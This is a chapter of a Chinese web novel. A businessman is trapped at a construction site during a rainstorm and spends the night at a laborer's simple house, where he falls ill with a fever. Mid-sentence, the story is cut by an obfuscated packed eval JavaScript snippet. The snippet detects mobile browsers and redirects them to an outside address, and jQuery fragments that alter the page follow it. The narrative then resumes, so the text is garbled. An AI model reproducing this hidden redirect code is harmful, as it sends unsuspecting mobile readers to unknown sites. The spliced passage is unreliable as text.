7. 下雨

夏末的温度攀到了顶峰,在露天作业的情况下是怎么也缓解不了的,领导们还好,有空调不间断的铁皮房,温度开得很低,沈听风的心里却越发焦躁。


这里哪里还有什么要他处理的工作。


……只是有想见的人而已。


沈听风有无数次冲动,想对在烈日下暴晒的男人说,跟我走吧,你想要什么我都给你,体面的工作,高昂的薪资,什么都可以。


可是还不到时机。他想要的也不是感恩。


慢慢握紧手中的鼠标,回过神来时,沈听风把界面上误触的操作取消,走到窗边,眺望远处正在分发风扇的人群。


他心里想着,还有没有什么东西,能降低这夏日的温度。


也让他舒服一点。


或许是因为他心中的期待,到了傍晚,手机上接连弹出暴雨预警,未来几日雨水不绝。


天际阴云笼罩,转瞬间就降下滂沱大雨。


工地上很快就没了人影,司机被沈听风派去别的地方取东西了,负责人看雨势大,说要送他出去。


还没等下楼,急匆匆接到一通电话,说是有几个铁皮房吹走了,没伤到人,但也挺危险,问他怎么办。


负责人一听,和沈听风说了一下,火急火燎去处理事情了。


人刚走,司机就打来电话,说路上堵了车,估计等很久才能到。


看来他只能呆在这里了。


沈听风重新打开电脑,有条不紊的处理着公司的文件,只是网速受到影响,效率不怎么高,自己也心不在焉。


窗外时不时划过一道闪电,骤然亮起的白光照出外面简陋、混乱的楼房。


有一瞬间,这画面和记忆重叠。


冷风从窗缝吹进来,他下意识打了个寒颤,所有的心念都放在了外面的场景中,不由自主的分辨雨声中夹杂的杂音。


直到晚上八点,随着一声巨响,屋内的灯光啪的一声灭了。


停电了。


手机里短信发不出,信号也断了。


沈听风打开手电筒,茫然的用灯光照着,寻找到在墙侧的单人床,或许他今晚要在这里过夜。


摩挲着手心有些粗糙的手感,沈听风握紧手心,把灯光照在窗外,警惕的看着漆黑的雨幕。


他怕那里会突然出现什么东西。


哪怕这里是在四楼。


沈听风的注意力很专注,当听到脚步声的时候,心中陡然一惊。


这里怎么会有人来?是司机吗?


这栋楼是最先完工的,被很多领导层临时征用成办公室,或许是有人回来取东西。


沈听风胡思乱想着,却听到脚步声停到了自己的房间门前,随后房门被人敲响。


他沉默了一会,听到敲门声又响起来,出声问道:“谁?”


门外传来低沉的声音:“周洐。”


沈听风懵了一瞬,怎么是他?


或许是因为屋内没有了下言,门把转动,周洐慢慢推开门,看着他脸上还残留的惊讶,解释说:“你的助理跟我说,联系不上你,我看到这里有灯光,就上来看看。”


哦,这一栋楼在商圈外围,远离施工场地,旁边就有一条水泥路,从周洐家的角度,勉强是能看到一点灯光。


沈听风没想到他会找过来。


心脏在胸腔里怦怦跳动,一双眼睛亮晶晶的看着他。


周洐说,“你没事,我先走了。”


沈听风跳下床,急促出声:“等等!”


周洐顿住动作,疑惑的看向他。


沈听风脱口而出:“我跟你一起走!”


情急之下还想了个借口,“我手机没电了,能去你家充一下电吗?”


周洐沉默了一下,“这一片都停电了。”


沈听风还没来得及失落,又听他说:“不过我还有个充电宝。”


沈听风忍不住笑了一下,迅速收拾了一下物品,快走几步跟上他。


周洐只带了一把伞,没想过还要带人回去。


风大雨大,将伞吹得振动,即将要翻过去似的。


打伞和不打伞没区别,浑身都被斜吹的雨淋了个湿透,周洐自己不在意,看着身边刮过一阵风就瑟缩一下的人,伞压低把他罩了起来。


头顶传来一阵压迫感,连路都有些看不清了,但伞面确实没有要翻不翻的样子了,沈听风松了口气。


楼底下铺了水泥路连着外面的,路很好走,三四分钟的时间,就已经到了周洐租住的院子。


沈听风对眼前的一切都感到好奇。


院子不大,从两边的房间传出狗叫的呜咽声,斑驳的白墙、拉绳的吊灯、防盗门上的铁丝网都破了个大洞,一切都在诉说着简陋。


走到廊下把伞移开,他才看到周洐的半边肩膀都湿透了。


周洐打开堂屋的门,让他在客厅坐下,进里屋翻找着东西。


说是客厅,也只有一张桌子两把椅子,除此之外再无其他,虽然很寒酸,却也显得干净整洁。


周洐很快就出来了,把充电宝放在桌子上,沈听风从公文包里拿出充电器,装模作样的插上电。


周洐没关注他的小动作,又进屋拿出来两身衣服,“我去洗个澡。”


他看了看沈听风湿透的西装裤,“你要洗吗?我有新买的衣服。”


沈听风点了点头,“你先洗吧。”


浴室在外面,周洐拿着伞出去了。


沈听风坐在椅子上还有些拘谨,无聊的刷着手机,一直没有信号,便也出了客厅,走到廊下,往发出呜咽声的房间里看过去。


他知道周洐养了狗,没想到养了这么多,从栏杆里看过去,呜咽声倒一下都停了,个个睁着眼睛看着他。


周洐只是略冲了一下身上的雨水就出来了,给他拿出一身短袖短裤,见他进了浴室,在廊下点了一根烟,看着积起水坑的地面。


等沈听风出来的时候,烟味已经全部消散。


他这样穿着其实有些别扭,习惯了将身体全部罩住,就像是竖起坚固的盔甲,露胳膊露腿对于他来说,很没有安全感。


不过这样的装扮其实很正常。


沈听风做着心理建设,比如他就很喜欢周洐穿那件无袖的汗衫,视线悄悄从周洐身上扫了一眼,有些遗憾,可惜只见过一次。


信号恢复了一些,最起码电话是能打通了,沈听风看着手机里弹出的未接电话和关心询问的短信,听到周洐问他:“司机什么时候到?”


沈听风垂下了眼眸,沉默了好一会,“还在三


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228344|165904||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


环堵着。”


这么大的雨,至少得堵一夜。


周洐去洗漱了,回来后见他端正的坐在漆黑的客厅里,有些犹豫地问:“你要是不介意的话,今天现在我这里休息?还是回你的办公室?”


沈听风压住想要上扬的唇角,目光温和的看着他:“不会打扰你吧。”


“不打扰。”


周洐推开里屋的门,沈听风跟在后面借机看到了里面的场景。


他的表情瞬间变得有些僵硬。


这个里间和外面的客厅一样,纵深很深,放着两张床,最里面是一张深粉红色的皮质心形床,还有一张是在窗户旁边的单人木板床。


能明显看出经常有人使用的是木板床,但又不可能睡两个人。


里面那张床的造型实在太过奇特,沈听风有些欲言又止。


周洐不是一个事到临头了会临时凑合的人,从老家带来的被褥会定期晾晒,买三件套的时候也是凑单满减,什么都有多出来的。


他把东西一一取出,看着沈听风的表情,后知后觉的说:“要不我送你……”


沈听风打断他:“不用!”


再怎么糟糕的环境,如果多出一个人来,那效果就大大不一样了。


沈听风心想,他还会铺床,好贤惠啊。


等以后,一个主外一个主内,或者两个都主外,互相照顾,都挺不错的。


想着想着,笑意又盈上了他的眼中。


没有想象中的辗转反侧,沈听风一觉睡得很安静,甚至感觉有些醒不过来的昏沉。


周洐是在半夜来电被灯光刺到眼睛醒来时发现的不对劲的。


下床准备关灯,听到里侧床上响起一声很沉闷的、似乎很难受的呻吟声。


他型号的衣服穿在沈听风身上,松松垮垮的,露出大片洁白的皮肤,被简陋的白炽灯泡一照,白的晃眼。


周洐眼神错开了一些,走到他旁边,用手背在额头上探了探温度。


不出所料。他摇晃着沈听风的肩膀,把他叫醒。


沈听风迷迷糊糊的睁开眼,目光茫然。


“你发烧了,要去医院。”周洐站起身,身前落下了一大片阴影在被面上。


沈听风迟钝了好一会,摇摇晃晃下床穿鞋,脸上已经烧红了,整个人也晕得不行,踉跄着走到单人床那里,一下就歪了上去。


周洐过去扶他,听到他嘴里嘟嘟囔囔的说:“叫救护车吧,我好像看不清路了。”


外面还在狂风骤雨,周洐打了120,好久才打通,问清楚情况之后,接线员说,因为暴雨事故频发,他们没有那么多车辆,如果可以希望他们自己去医院。


周洐挂了电话,沈听风已经缩到他床上,把薄被紧紧裹在身上,又迷迷糊糊睡着了。


这一会,温度似乎又烫了不少。


他把工作服套在沈听风身上,又把紧裹着的被子像披风一样在他脖子上系好,沈听风被这一番动作弄醒,坐在床边,任由他摆弄着自己的胳膊,随后一拉,身体往前倾,整个人有些懵,“你在干什么?”


“带你去医院。”


“手抱紧。”周洐提醒了他一下,沈听风下意识裹紧手臂,忽然发现自己被背了起来。


他脑袋炸开了。